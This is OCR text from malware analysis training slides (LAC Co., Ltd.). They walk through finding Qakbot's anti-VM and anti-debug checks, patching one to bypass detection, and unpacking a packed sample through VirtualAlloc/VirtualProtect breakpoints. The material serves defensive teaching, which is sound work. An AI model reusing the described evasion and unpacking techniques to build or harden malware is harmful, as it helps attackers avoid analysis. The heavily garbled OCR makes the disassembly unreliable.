® & (=] &

text: 08481820

Text: 08401820 loc 401B26:

.text:ﬁﬁdﬁlﬂl@[tall sub_ 483EF7
[ §
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FUN_00403ef7

int sub_ 4@3EF7()
{
int v1; // [esp+Bh] [ebp-8h]
const CHAR *1pFileName; // [esp+4h] [ebp-4h]
if [ sub 4033FC())<= @ * [t's clear that there are multiple
E& Sub_ams.eac) <= g conditional branches.
su <= . |
8& sub_40385E() <= @ * For example, What kind of processing
& sub_4@3BDF() <= @ does FUN_004033fc involve?
8& sub_403D22() <= @
&8 sub 403DEB() <= @
8& sub A03E6F() <= @
8& !sub 40336E() )
{
return @; pUSTT———ECX
push edx
} mov dx, 5658h 3 VMware I/0 port - detect a VM environment based on the VMware I/0 port
mov ecx, 564D5868h ; VMware magic_wvalue - detect a VM environment based on the VMware magic value.
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* Execute with the /C parameter attached, using a debugger.

Jun 12 2018
DE =20 vtTH »§ | T 2w P B BE

& cpu ® 552 Ls OF Bl J-k ® JL =Dk Y e O =) 2 Awh =7 SEH Lol 207 & Hilb €2 -0 & TP 2wt %/ Snowmar]

u;
]

o ~rEB 07 Jjmp ntd1T1.77BA7476 [ Hi
- 33C0 Xor eax,eax S
. 40 inc eax EA]
] c3 ret EE
. 8B65 EB mov esp,dword ptr ss:[febp-18[] EC
e C745 FC FEFFFFFF |mov dword ptr ss:[[ebp-4[J,FFFFFFFE ED
] EB 2FACFDFF €all ntdl11.77B820B1 EE
] c3 ret
o ES
ES
ED
EI
3] EF
BBEC p,esp ZF
83E4 F8B esp,FFFFFFF8 OF
B1EC 70010000 sub esp,170 cE
Al D442C177 mov eax,dword ptr ds:[77C142D4]
33c4 X0r eax,esp La
] 898424 6C010000 La
] 56
] 8B35 EC21C177  o— —
= s ] - L b GS
E 7 e - I SHVEERE hod £e
e 7 58 C5
] 66:894424 10
. 8BF9 o " 5T
< E Al C¥lsersy exa” /O ol
] 66:894424 12 5T
[ ] 84424 70 5T
] 894424 6C —— e o
o7 33C0 7i ﬁEIE'Z':':' HEH;]':DJ o
- C74424 14 BCDOBO ! T
[ ] C74424 68 000000
] 66:894424 70
o7 85F86 x8
R ~ 74 29 o
E [ ] 8B15 2003FETF MUY EUX,Uuwuld PLi Us: [ fFFEUIIU] %8
! ™ BBC2 mov eax,edx v [
1 ™ sa N [T . |
; > Dief
Jump is taken 1:
ntdl1.77BA7476 2:
3:
.Ttext:77BA746D ntdl1.d11:$A746D #A686D 4:
n - - . N @ 0733A26¢
L e IR UL e il LR~ B iy AT 4 W A E @ v F 1 lx=l Locals & Struct D019FAS5] 003C500(
pLarex [Ascz | B oriseasfonsesc=
77B01000|OE 00 10 00|D0 _/F BO 77|00 00 02 00|30 65 BO 77|....D. W....0e'w| | |haateimi it ddddabd
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Ltext:004035FC
.text:004035FC
Ltext:004035FC
Ltext:004033FC
.text:004033FC
.text:004035FC
Ltext:004035FC
Ltext:004035FC
.text:004033FD
.text:004035FF
.text:00403401
.text:00403406
.text:0040340B
.text:00403411
.text:00403412

t+owt - AGARZATG

© 2025 LAC Co., Ltd.

sub_4033FC proc near

var_20= dword ptr -20h
var_1C= dword ptr -1Ch
ms_exc= CPPEH_RECORD ptr -18h

5 unwind { // _except_handler3

push
mov
push
push
push
mov
push
mov

I"‘iIIL_I"I

ebp

ebp, esp

AFFFFFFFFh

offset stru 40F228
offset _except handler3
eax, large fs:0

eax

large fs:0, esp

[=F ahty

Set a breakpoint and execute.

00403 3FA

T =

cave

004033FB ret
55 push ebp

004033FD 8BEC mov ebp,esp

004033FF 6A FF push FFFFFFFF

00403401 68 28F24000 push gakbot.40F228
®|| 00403406 68 1AA94000 push <IMP.& except_handler3>
e8| 00403408 64 :41 00000000 mov eax,dword ptr J:[0]
@ 00403411 50 push eax
@ 00403412 64 :8925 00000000 |mov dword ptr J:[0].esp
@ 00403419 51 push ecx
@ 00403414 51 push ecx
@ 00403418 51 push ecx
@ 0040341C 51 push ecx
@ 0040341D 53 push ebx
@ 0040341E 56 push esi
@ 0040341F 57 push edi
@ 00403420 8965 E8 mov dword ptr ss:lebp-18],esp
8| 00403423 8365 E4 00 and dword ptr ss:febp-1c]},0
8| 00403427 8365 EOQ 0O and dword ptr ss:flebp-20],0

——a| 00403428 33C0 X0r eax,eax

o | I e T4 Ny 3 el AMIA I
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e Check the section where it verifies the VM.

52 push edx \
— 66:BA 5856 mov dx, 5658
' B9 ©85B4D56 mov ecx, >6d4D5B68
14 8BC1 mow eax,ecx
144 B9 0a000000 mov ecx,A n"
149 ED 1ls eax, dx
] e 8950 B movowortpTr=s . Lebp-1C], ebx
e/ 00403 44D 894D EO mov dword ptr ss:ebp-20],ecx
e 00403450 5A pop edx
@ 00403451 59 pop ecx
o 00403452 5B pop ebx
®|| 00403453 38 pop eax
@ 00403454 834D FC FF or dword ptr ss5:|[lebp-4[,FFFFFFFF
——&|| 00403458 EE 18 jmp gakbot.403472
@ 00403454 33C0 X0Or eax,eax
@ 0040345C 40 1inC eax
@) 0040345D C3 ret
@l 004034 5E S8B65 E& mov esp.dword ptr ss:Bebp-180

© 2025 LAC Co.,
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* Try debugging and investigating what kind of anti-analysis features

il |- - - i T oy e
are present' ————— @ 00403F09 ~ fF 4C jg - 403F57

e 00403F0B EE BAFSFFFF call - 403494
e 00403F10 85C0 Test eax,eax

————— @| 00403F12 ~ fF 43 jg - 403F57
| 00403F14 EE ODFEFFFF call .4035B6
@ 00403F19 85C0 Ttest eax,eax

————— @ 00403F1B ~ fF 3A jg . 403F57
e 00403F1D EE ICFO9FFFF call .40385E
@ 00403F22 85C0 Test eax,eax

————— @| 00403F24 ~ FF 31 jg - 403F57
ef 00403F26 EE BAFCFFFF call . 403BDF
e 00403F2B 85C0 Test eax,eax

————— @| 00403F2D ~ fF 28 jg - 403F57
@ 00403F2F EE EEFDFFFF call .403D22
@ 00403F 34 85C0 Test eax,eax

————— @ 00403F36 ~ fF 1F jg - 403F57
@ 00403F3E EE AEFEFFFF call .403DEB
@) 00403F3D 85C0 Test eax,edx

————— @ 00403F3F ~ FF 16 jg . 403F57
e 00403F41 EE 29FFFFFF call L403E6F
@ 00403F46 85C0 Test eax,eax

r----@{ 00403F48 ~ fF 0D jg - 403F57

i e 00403F4A ES 1FF4FFFF call .40336E

! e 00405F4F 83C0 Test eax,eax

L----@f 00403F51 ~ OF84 B4000000 je .403FDB

——@ 00403F57 C745 F8 01000000 mov dwnrd ptr ss: Qebp-8J,1
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Exercise 3 Answer For Ghidra

Anti Debug Function Anti Debug Type

FUN_4033fc VM presence
FUN 403493 VM presence
FUN 4035b6 Check Hardware
FUN_40385e File Operation
FUN_403bdf Check Sandbox
FUN_ 403d22 File Name Check

FUN_40336e Environment_TimingCheck
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 Regarding where to apply the patch.

* Find the section where it processes the subprocess /C.

gakbot. exe

L.

USRS USE o I JC L{dRUUL."IU"I-I'"IIJ
00404F39 33C0 XOr eax,eax
00404F3B C745 p4 01000000 |mov dword ptr ss:febp-2c],1
00404F42 66:8945 D8 mov word ptr ss:[ebg-zs],ax
00404F46 C745 FC 00000008 |mov dword ptr ss:[ebp-4], 8000000
00404F4D 8D45 EC Tea eax,dword ptr ss:|[ebp-14]
00404FE50 50 ush eax
00404F51 ED45 AB ea eax,dword ptr ss:[[ebp-58]
00404 F 54 50 push eax
00404F55 53 push ebx
00404F56 53 push ebx
00404E57 FF75 FC push dword ptr ss:|[ebp-4]
00404E5A 53 push ebx
00404F5E 53 push ebx
00404F5C 53 push ebx
00404F5D FE75 08 push dword ptr ss:[ebp+8] [ebp+8]:L"C:\\Users
[o0d404F61 ] FF15 0C074100 Eaﬂ dword ptr ds:[<&CreateProcessi=]
— EE E -E'-i—. 0N T oot oo Fotat
00404F69 ~ 74 26 je gakbot.404F91
00404F6E 385D OC cmp dword ptr ss:|lebp+Cl,ebx
00404F6E « 74 1C je gakbot.404F8C
00404F70 FF75 10 , g Nl | - -
00404F7 3 FF75 EC ush dword ptr ss:[ebp-14] N
00404F76 FF15 4CB14000 Eaﬂ dword Etr‘ ds:[<&1E‘a‘itForS‘ing'Ie0bject>] DetECted FunCtlon IISt
00404E7C 85C0 test ng,eax
00404F7E + 78 0C is gakbot.404F8C
00404F80 FF75 0C g:usﬂ dword ptr ss:|[[ebp+c]] SUb_4D4FDB
00404E83 FF75 EC push dword ptr ss:[[ebp-14]
00404F86 FF15 EOQB04000 €all dword ptr ds:[<&GetExitCodeProcess>]
00404F8C 33C0 XOr eax,eax
W04 04F 8 i H
ST 10 1nc eax GetExitCodeProcess
WaitForSingleObject
(2detected)
© 2025 LAC Co., Ltd.
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How to apply the patch

© 2025 LAC Co., Ltd.

00404E80 FF75 0C push dword ptr ss: [ebp+C]

WYY = FFi23 ELC

00404F86 FF15 FOBO4000 call dword ptr ds - [{&GEtEthadEPracESS}] ]
M 220

00404F 8F EE 02 jmp qakbot.404F93

00404F91 33C0 XOr eax,eax

00404F93 '

00404 F Q4

00404F95

otoas Pay attention to the return value of GetExitCodeProcess.
O00404F98 . 5 S 0O

004 c.lqu If the value of EAX is not zero, it detects that itis in an

analysis environment.
Therefore, add 'mov eax, 0' just before the 'xor eax, eax’
section.
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At address 404F86, press the space key and enter 'mov eax, 0'.

TS OO FFETJF W Pu'_"rll LIWUT ||..|LI 33.L';‘UP—LJ
00404F83 FF75 EC push dword ptr ss:[lebp-14]
FF15 FOBO4000 call dword ptr ds:[<&GetExitCodeProcess:>]
00404F8C 33C0 XOr eax,eax
00404FBE 40 inc eax
0D404FBF EE 02 jmp gakbot.404F93
00404F91 33C0 XOr eax,eax
00404F93 5F pop edi
00404F 34 5B [:lncup ebx
00404F95 ca eave
00404F 96 c3 ret
00404F97 55 push ebp
00404F98 BBEC mov ebp,esp
00404F9A B3E4 FB and esp,FFFFFFFE
00404F9D 81EC 38010000 sub esp,138
00404FA3 56 push esi esi:& "C:\\Usersi\kaihatu'\Desktop' \gbot_dem
00404F A4 57 push edi
00404FAS 6a 00 push 0O
00404FAT 6A 02 push 2
00404FA9 FF15 88074100 call dword ptr ds:[<&CreateToolhelp3Zsnapshot=]
00404EAE BBFEB mov edi,eax
00404FB1L 83CE FF or eax,FFFFFFFF
D0404FB4 3EFS cmp eﬁg,eax
00404FBB OF8&4 83000000 je gakbot.40503F P
00404FBC BE 28010000 mov \esi.128 L7 00404FeC ET TN X & _dem
00404FC1 56 ush ES'id g C [E_dem
00404FC2 Ep4424 1C ea eax,dwor tr ss:f[esp+
00404FCE @A 00 push 0O P i |m|:n.,r sax, 0 |
00404ECE 50 push eax , "
00404FC9 ES 46590000 €alll <iIMP.&memsets> Ll H2%#MFTaS) L NOPTIEDAIF) O XEDParse(X) @ asmijitia) QK. EN el
00404FCE 83C4 0C add esp,C
00404FD1 BD4424 1B lea eax,dword ptr ss:[esp+ Instruction encoded successfully
00404FD5 50 push eax
00404 FDA 57 push edi
00404 FD7 8o7424 20 mov dword ptr ss:|lesp+20],esi
O0AQAEDE EE15 074100 fall dword orr d=:[«<&ProcessI?Eirste]

© 2025 LAC Co., Ltd.
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© 2025 LAC Co., Ltd.

File > Choose to Patch File > Select 'Patch File' > Save

» e EXE e e ¥
Jun12 2018
S0E il v 9§ tuloi=ePLfnr L HE
& cru @ b5 L Off B -+ * =Dk A e @ 3= 2895 = SEH lo] 28U & kb ©ou=2 P2 = 2l
FF75 EC push dword ptr ss:[[ebp-14]
FF15 4CB14000 call dword ptr ds:[<&WaitForSingleobject>]
B5C0 Test eax,eax
« 78 0C js gakbot.404FEC
FF75 0OC push dword ptr ss:[[ebp+cC]
FF75 EC push dword ptr ss:[[ebp-14]
FF15 FOB04000 €all dword ptr ds:[<&GetExitCodeProcess>]
BE& 00000000 mov eax,0
33c0 XOr eax,eax
F93 5F pop edi
Fa4 5B op ebx
F95 c9 eave
F96 c3 ret
F97 55 push ebp
F98 8BEC mov ebp,esp & yF o
F9A 83E4 F8 ar‘lg esp,FFFFFFF8
F9D 81ec 38010000 sub esp,138
L 56 pUSE eg_i Modules Patches esktop\\d
57 push edi ] w $33->
E. Pish 0 exe 0|00404FBC:33->E8
64 02 push 2 0]100404F8D:C0O->00
FF15 BBO74100 €all dword ptr ds:[<&CreateToolhelp32s 0| 00404FBE: 40->00
8BF8 mov edi,eax
10 83C8 FF or eax,FFFFFFFF 0|00404F8F:EE->00
00404FB4 3BF8 cmp edi,eax 0|00404F50:02->00
00404FEE ~ OF84 83000000 je gakbot.40503F o
00404FBEC BE 28010000 mov esi,128 Eesktop’.\d
00404FC1 56 ush esi Esktop\d
1 804424 1C ea eax,dword ptr ss:[esp+1cC]
G6A 00 push 0
50 push eax
00404FCO EE 46590000 call <IMP.&memset>
00404FCE 83C4 0OC add esp,C
00404FD1 804424 18 lea eax,dword ptr ss:[esp+1E&]
00404FD5 50 push eax
00404FD6 57 push edi
00404FD7 897424 20 mov dword ptr ss:esp+20],esi
00404FDB FF15 CCO74100 call dword ptr ds:[<&Process3ZFirsts]
00404FEL 85C0 Test eax,eax
00404FE2 « 75 0C jne gakbot.404FF1
00404FES 57 push edi
ANRANA - & A E AAATAAAN e B L B R el = = LT e - ol EPR TR b I, |
<
eax=0
.Text:00404F91 gakbot.exe:$4F91 #4301 Selizai Al DEsREat Al Jsinnm S22
LR i DU ) I Wy A e DR s & T 1 lx=l Locals [ Impor | Bxport Fick Groups Patch File
THLA Hex ASCIT -
77B01000|0E 00 10 00|DO 7F BO 77]00 00 02 00]30 65 BO 77 |h...D. “W....08'wW | onona
77601010(10 00 12 00|7C 7E BO 77 (OC OO0 OE OO|CO /F BO 77)....|~"w....A "w ILelRSs
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Execute the patched file and record the network
traffic using Wireshark or similar tools.

428 321 6821 102, 168 160.880 102 168 .1680.1 TCP 8 56288 - R0 [ACK] Seq=1 Ack=1 WIn=525568 Len=0
429 321.6823. 192.168.109.80 102.168.180.1 TCP 276 56208 -+ 89 [PSH, ACK] Seq=1 Ack=1 Win=525568 Len=222 [TCP segwent of a reassembled POV]
430 321.0623.. 192.108.100.80 192.108.100.1 OCSP 137 Request

431 321 .6823.. 192.188.160.1 102.168.1080.86 TCP 54 80 . 56208 [ACK] Seq=1 Ack=223 Win=64128 Lon=0

432 321 .6523. 192.168.1690.1 192.168.100.80 TCP 54 50 - 36208 [ACK] Seq®l ACK=306 Winwedi2s Len=o

433 321 6982, 192.168.108.1 102.168. 188 .88 Tcp 204 88 . 58208 [PSH, ACK] Seqg=1 Ack=386 WIn=644128 Len=150 [TCP segment of & reasseshled POU]
434 321.6998.. 192.158.160.1 152.168.100.80 HTTP 312 NTTP/:.1 200 OK (text/htal)

435 321.7095. 192.168.100.80 192.168.200.1 TCF 60 56208 ~ 80 [ACK] Seq5306 ACK=410 WIn=525056 Len=0

438 321.7687.. 102.168.108.86 . o . TCcP 60 56288 - 88 [FIN, ACK) Seq=386 Ack=418 Win=525858 Len=@
437 221. . 108 A=TG2 168, 100" PO]ILP 54 80 - 56208 [ACK] Seg=410 Ach”? Hxn=64128 Leni=@

54 80 - 55207 [ACK] s«rua Ack'238 wxn-suzs Len=8
10080 24,122.157.83 G5 50209 - 443 [SYN] S Lenv0 MSSR1400 W g e .
b L uc 100.80 24.122. xs’ 23 n {TcP lnruu-xulm [n‘.‘P Mrc m-bort rwnd] um - «3 {m) uq=l mn:m:s uu:‘ m-xuu ws:n .w.'x Ptﬁcx

443 327, 3039, YMware DreTe AT 36 AP 00 Who has 192,108, 100,17 Tell 192108, 100, 80
4“32 .3039-. W-HO 9! df 35 VM'C 97:1¢c:fe ARP 2 192. 168 100.1 15 at 80:00:29:91: d' 28

448 337 3034, vrmr 97-1¢. e wmr 0T a7 38 AR 1168.100,17 Tell 192.168,100.80
449 337. 3034 Wh\:rc 91:d1; 38 mrc 97:1¢: row 42 192, 168 166.1 is .‘lf “ OC 29:91: df 38

JM 346 3843 VMware 97:1c: fc VMr: M df S‘OW 68 Whe has 192 168. 200 1? You 192
455 346.3043. VNware 91:d7:38 Veware 97:1c:fe ARP 42 192.168.100.1 is at 00:0c:29:91:dr:38

438 353 3033

459 353.3034.. WNware 91: df 35 VWware 97:1c:fe ARP 42 192.168.106.1 1s at N 6ci29:91:d1:
460 250.1299.. 192 .168.1600.80 162.168.100.1 DNS 76 Standard query 0xd740 A dns_msfincsi.con
dE1 355 1326, 102 168 100.1 192 168 106, .80 DNS 82 Standard query response Oxd740 A dos. msftncsi. com A 102, 168 100,12

» Frame 441: 85 bvtes on wire (528 bhirs). €8 bvees caotured (528 hirs) on interface ens33. id 0

0869 ooo.:zounfssnmcnuun ) s £
06 34 3b 3 40 60 80 06 o3 fb cO a8 64 60 218 7a 4, ¢ Pz
9d 5¢ db 91 @1 bb c5 Sa 38 bc 60 60 fA DO B 62 ) z
Fr 77 88 01 00 80 82 84 05 b4 01 03 03 03 61 01 h

oaq 02
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Level4.
Malware analysis Tips + Anti Debug



Exercise 4

Target Malware : Packed_Exercise4.exe

Questionl.
This sample is packed.

Please set breakpoints on the following two APIs using a debugger, and
attempt to unpack:

v VirtualAlloc
v VirtualProtect
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Exercise4 Answer Questionl

¥ Warning *
N\ Offset: 0 Size: 195072 > Reload

The imports segment seems to be destroyed. This MAY mean that
! the file was packed or otherwise modified in order to make it Entropy(bits/byte): 7.77295 Save diagram

maore difficult to analyze. If you want to see the imports
segment in the criginal form, please reload it with the
‘'make imports section’ checkbox cleared.

[] Dow't dizplay this message again y o PE Header("1. 7766

ata 7.

3(".rsrc”)

[ DA - Exercised.exe CHUsers¥Win 10¥Desktop¥Exercised.exe
File Edit Jump Sesrch View Debugger Lumina Options Windows Help
PE2-3-Q@0Q QY A-TO ERO® -0 ¢ P M0 N debueeer v R s =

Library function B Reeular function B Instruction Data Unexplored External symbol Il Lumina function

7] Functions oes x| B IDA View-h g @ Hex Viear- | [x]

unction name
7 start

7 sub 407186
T sub40719F
T sub 407146

; Attributes: bp-

public start
start proc near

var_154= dword pt
var_a= dword ptr
arg_30850FB8= byt
arg_41850FE8= byt
arg_45850FB8= byt
arg_49850FB8= byt

3 FUNCTION CHUNK 1008

push  ebp
mov  ebp, esp

push 4

lea esp, [esp-5eh]

le cax, large ds:9878h

eax, large ds:0373h
oEh

When looking at the area highlighted in red, it suggests that the code may have
been packed or obfuscated. Additionally, the results from the Detect it Easy
tool show that you can observe the Entropy, and it is identified as 97% Packed.

0.00% (4154,19) (13,485) 00000C00 00401800: start ized with Hex View-1)
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[ B cru Doy )k ® JL-bfqvk ™ gxugyd O J-)- 25D S sEH | B U B ool © w-x 2 ygplux |

55 push ebp E
89E>S mov ebp,esp
6A 04 push 4
8D6424 BO lea esp,dword ptr ss:[[esp-50]
8D05 78980000 lea eax,dword ptr ds:[987B]
8D05 79980000 lea eax,dword ptr ds:[9879]
6A OE push E
2E:68 A5964000 push exercise4.4096A5
2E:68 97964000 push exercise4.409697 4
E8 7E590000 call exercise4.4071A6
85¢0 test eax,eax
oo 0182a | - OF85 6E590000 jne exercise4.40719E
: 01830 6A 00 push 0
01832 2E:68 8C964000 push exercise4.4Qg
01838 2E:68 7E964000 pusn exercise4.4
0183E 6A 00 push 0 .
01840 | E8 5A590000 call exercised set brea kpomts on the
01845 85¢c0 test eax,eax
ommee 01847 | - OF85 51590000 jne exercise4.4 -
| 40184D | 6A OE push E fO”OWIﬂg two APIs
ebp=0019FF94
WoHvd1 WHyI2  WoALTs WHEyde Wads @ opyF 1 0 locas 2 .
PELA HeX
772A1000 |[0E 00 10 00 [AO 7F 2A 77 |00 00 02 00 (30 6 VIrtuaA”OC

772A1010 |10 00 12 00 4c /e 2A 77 |0c 00 OE .
772A1020 |06 00 08 00 /0 /F 2A 77|06 00 08 2

772A1030 |06 00 08 00 88 /F 2A /7|06 08 VIrtuaIPrOteCt
/72A1040 |[1c 00 1E 00 F8 BA 2A // |04 06
772A1050 A0 96 2C 77 |CO 98 2C /7 |2A WAL WL
772A1060 |18 00 00 00 |00 00 00 E4 Jmmyp’7/ 40 00 00 00 |........ a.*wa@. ..
772A1070 |00 00 00 00 |00 0O v FC 7D 2A 77 |........ "LS.attw
/772A1080 (06 00 00 00 cO 0A 00 00 00 |....A~*wW........
772A1090 |[A8 7E 2A 77 00 00 00 |8C 7E 2A 77 | ~*W......... ~FW
772A10A0 |03 00 00 00 /E 2A 77102 00 00 00 |........ TRl
Alead 00 00 L0 00 OO 46 15 Cc5 43 A5 FE 00 8D /....W..aF.AC¥b.. v

<

o2t ‘bp VirtualAlloc| J

124
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Exercise4 Answer Questionl

Eorpu  Lipy DUk ® JL-bavk ™ oaEyegyd O J-easwh Ssed O oaoudh ®eug © vex 2 ugpbyd P oalok & okl #F Trace S Stings

8BFF mOVhEdg ,edi VvirtualProtect A Hide FPU
55 push ebp .
8BEC mov ebp,esp EAX 00000020
5D pop ebp EBX 00013800

- FF25 1811E973 jmp dword ptr ds:[<&virtualProtect>] JMP.&VirtualProtect ECX 00014000
ccC int3 EDX OO1l9FEF8
cC int3 0200850 4

When setting breakpoints on VirtualAlloc and VirtualProtect and running the
process multiple times, the string ".text" becomes visible, prompting a memory
dump to be performed.

== : p V04
edi=exercise4.00401000 :: ESEBIE% TR
A | P Na N | NN1Orer—0
W @Wayde  @Wayts @aysa @ ags ® opF 1 b Loces | 2 Struct [T 020E012(return to 0200120 from 7?77
o= o AT — ~]0019FED40040100(exercise4.00401000
OF0000 4D 5A 90 00|03 OO0 OO OO 04 OO OO OO|FF FF OO OO MZ e v e yV.. 0019FED{0001400(
020F0010 B8 00 00 00 (00 00 00 00 |40 00 OO0 00|00 OO0 OO OO, ....... @....... 0019FED( 00000004
020F0020 |00 00 00 00 |00 00 00 00 |00 00 00 0000 00 00 00 | e i iniinnennnn 0019FEE(JO019FEF¢
020F00 _I'Th 0019FEE{0040100(exercise4.00401000
020F00 zanno 0019FEEQ0001400C(
020F00 DOS 0019FEF(0000002(
020F005U U £A U Ue (14 0B Us oL ra 85 Us JU 68 Us U eiu.j0. 16, ] SRR )
020F00&uU |BU EA OU UE [F4 OB UD JU |[F4 OB UD JU [F4 OB UD JU em.u..JU..]a..] FEF
020F0090 FD F3 87 5D |F5 8B 03 5D FD F3 80 5D |F5 88 03 5D |y6.]16..]y6.16..] 0019FEF¢[020F01DE" . text"
020F00A0 37 84 5E 5D |F6 8B 03 5D |FD F3 90 5D [EB 8B 03 5D |7.AJ6..]yo.]é..] / ee&aﬁﬁajeaenmux
OF00BO |[F4 88 02 5D B8 8A 03 5D |41 15 E6 5D /C5 88 03 5D 6..]1...]A.2]A..], v|0019FF04020E085(
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What does the VirtualProtect API
001F00C0 | oa 04  |bush & do, and which memory address
001F00c2 57 push edi does |t Operate On?

001F00c3 53 push ebx
001F00c4 FF55 0cC call dword ptr ss:[ebp+c]
Ulrooe? S5

001F00cS8 6A 02 push 2
001F00cA 57 push edi
001F00cB 53 push ebx
001F00cc 56 push esi
001F00cD 8BCF mov ecx,edi
001FO00CF 8BFB mov edi,ebx
001F00D1 F3:A4 rep movsb
001FO0D3 5E pop esi
001F00D4 FF55 0OC call dword ptr ss:[ebp+c] ZEO PFO AF O
2.8 oToloME-T-0- S OF 0 SFO DFO
001FOO0DS8 8BCE mov ecx,esi CEO0O TEO IF 1
001FO00DA 0349 3c add ecx,dword ptr ds:[ecx+3C]
001F00DD 8D79 18 lea edi,dword ptr ds:[ecx+18]
001FO00EOQ 8857 20 mov edx,dword ptr ds:[edi+20]

001700e3 | __OFB741 14 movzx eax,word ptr ds:fecx 1d] n n o g
[dwor'd ptr ss:[ebp+C]=[001F085C "i .# £s Mis"]=<kernel32.virtualProtect> | The "MZ signature s

e e e R e e T ™ Visible, which is the magic

00590000
EDI 00400400 exercise4.00400400

EIP 001FO00D7
EFLAGS 00000200

1~

00590000 [4D" 5A 190 00 [03 00 00 00|04 00 00 00 [FF FF 00 OfMZ.......... VY- . ! I
00500010-(28-00-00 00 00 00 00 00 40 00 00 00 (00 00 00 AT @....... N ! number for an EXE file.
00590020 (00 00 00 00 |00 00 00 00 |00 00 00 00 (00 00 00 OP |- .............. . .
00590030 (00 00 00 00 |00 00 00 00 |00 00 00 00 EO 00 00 OP |............ a... Since the unpacked EXE is
00590040 |0OE 1F BA OE |00 B4 09 ¢D 21 B8 01 4C |CD 21 54 S A R _ _ _
00590050 |69 73 20 70|72 6F 67 72 |61 6D 20 63 |61 6E 6E 6f |is program canno

00590060 |74 20 62 65 20 72 75 6E 20 69 6E 20 |44 4F 53 2P [t be run in DOS loaded into memory, It will
00590070 (6D 6F 64 65 |2E OD OD OA 24 00 00 00 |00 00 00 Op mode....S$....... -

00590080 (BO EA 6D OE |[F4 88 03 5D F4 8B 03 5D F4 8B 03 5p|°ém.6..]6..]6..] be dumped.

00590090 |[FD F3 87 5D |[F5 88 03 5D [FD F3 80 5D |F5 8B 03 3’/6.]6..]3’/6.]6..]1/

0059000 (37 R4 5F Sn A R 02 Snlen ER 90 SnlER RR 03 Al el el e | 007271 0000000
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0067¢c00C0000400(Cf, user |stack (2772)

0068000C000035000f, user |Reserved

0068500C0000800C S, User

006c000C0000800(Cf, user |Heap (ID 0)

006c800C000F800(f, user |Reserved (006c0000)

007c000C000FD0O0OCf, User |Reserved

0088D00C0000300(C %, user |stack (3320)

008c000C000FDO0CfL User |Reserved

0098D00C0000300(C 5 user |stack (5448)

009¢c000C0000¢c00(C S user

009¢cc00(00174000 %, user |Reserved (009¢c0000)

0084000C0000500(C %, user

00B4500000003000f. user |Reserved (009c0000)

00B500000018100C% user

00ce000C0008D00C S user

00Dp6D00C01373000f, user |Reserved (00CE0000)

020E000000001000 6 yser

020F000C0002700( 1. User

(02 ZC000C Ser |neap wip L)

022¢30000000000Cf, user |Reserved (022¢c0000)

5ceB000C0005200Cf user

5cc100000007700Cf user

5Ccc900000000A00CA LIser

69830000 (

69831000(

6985c00((

6985E00CC . .. ____ S e o e
6985F00C00000100(= systen ".didat"

6986000C0000100(= systen ".rsrc' Resources
6986100C0000300(= systen ".reloc" Base relocations
699300000000100(= systennddeapi.dll

699310000000200(= systen " .text" ETA/gEd—F
6993300C0000100(= systen ".data"” Initialized data
699340000000100(= systen ".idata" Import tables
699350000000100(= systen ".rsrc' Resources
699360000000100(= systen ".reloc” Base relocations
73E1000C0000100(= systenkernel132.d11

© 2025 LAC Co., Ltd.

Extract memory from
this location.
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Exercise4 Answer Questionl Add Explanation

1. Allocate a memory region. Follow in Dump

00406F/F 68 56440000 push -3456 bl PU
00406F84 5F op edi
00406F85 8D7C24 FC ﬁ’ea edi,dword ptr ss:[esp-4] — EAX _ BIEETENH
83EC 04 sub esp,4 ECX  6EA30000
66:812F 5634 sub word ptr ds: EDX ggggoogg
. EBP FF
68 26300000 push 3D26 V|rtua|A”OC L s
5A pop edx ESI  6982019C eappcfy. |
805424 FC ea edx,dword pt EDI  0010FF1C ppetg-
83EC 04 sub esp,4
66:812A 5634 sub word ptr ds:[ed ~ EIP  00406FAA exercises
GA 00 PUJII A"
E8 63000000 Lca'l'l exercise4.40700D Sflds LIz S
A ZF 1 PF 1 AF O
EIP A Ll OF 0 SF O DF O
83F8 00 cmp eax,0 CE0O TEO IF 1
—————— - OF84 EA010000 je exercise4.40719E
68 00804000 push exercise4.408000 LastError 00000715 (ERROR_I
00406FR9 5F pop edi LastStatus C000008A (STATUS]
00406FBA 29DB sub ebx,ebx Gs 0028 FS 0053
89cl mov ecx,eax Es 002B Ds 002B
51 push ecx cs 0023 ss 0028
31c0 Xor eax,eax
18 dec o2 o
] i ST
oioeres ggo; 04 agg eg’."g“‘”d ptr ds:[edi] 5T(2) 00000000000000000000
FCd c add edt, sT(3) 00000000000000000000
00406FC7 F7D8 neg eax sT(4) 00000000000000000000
tocs 28 10 e e 103 mmscssssmuunncs
: - ST
2“3’2‘:8 SE lgg zgij’i‘“’”d prr ds:[eax-2] sT(7) 00000000000000000000
2900 sub eax,edx <
89¢C2 mov edX,eaX T 7)) Mstdeall)
6A 00 push 0 1: [esp+4] 00406F66 exerc]
8F01 pop dword ptr ds:[ecx] 2: [esp+8] 00000000 00000
add dword ptr ds:[ecx],eax .|3: [esp+C] 00000000 00000
Lo > |4: [esp+10] 00000000 0000
5: [esp+14] 00000000 0000
<
R A3F 1 Iesllocals 7 Struct O OCE e (Eo e e s € =UsEr 6E
: Hex ASCII A B000000D
05A0000 |00 00 00 00 ({00 OO0 00 Q00|00 00 OO0 OO (00 00 00 OO e nnnnnnnnn 00000000
05A0010 |00 00 00 00|00 OO OO0 00|00 00 OO0 OO|00 OO0 OO0 OO | .. cvriminnnnnnn D raa
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2. Decrypt the shellcode and copy it into the allocated memory region.

; 00406FD6 6A 00 push 0
; 00406FD8 8F01 pop dword ptr ds:[ecx]
5 00406FDA 0141 00 add dword ptr ds:[ecx],eax
EIP; : 2 100406FDD 83EB FC sub ebx, FFFFFFFC
i 00406FEQ 83cl 04 add ecx,4
i 00406FE3 81FE DO080000 cmp ebx,8D0
: 00406FE9 | -~ 75 D4 jne exercise4.406FBF
; 83c4 04 add esp,4
| 00406 FEE 8B4C24 FC mov ecx,dword ptr ss:[esp-4]
i 00406FF2 FF35 E1714000 push dword ptr ds:[«&GetModuleHandleA>]
i 00406FF8 68 666F4000 push exercise4.406F66
| 00406FFD | - FFEL jmp ecx e -
dword ptr ds: ODSADOOC =D88BD6FF
eax—DSSBDGFF
WS WMAUT 2 WALTs  UMAUTt WA 5 | @ 91 iellocas | Stuct ! T e 3?1080000 g;g ggi*gw
PR Hex . : e
O 10 50 30 53 tn 02 3 0o 33 et o s
Al Ju uuou | ... ..
A 00406FEE 8B4C24 FC mov ecx, »dword ptr ss:|[esp-4]
anann20 lan o oo onlon oo oo onlon on on onlan on o an 00406FF2 FF35 E1714000 push dword ptr ds:[<&GetModuleHandleA>]
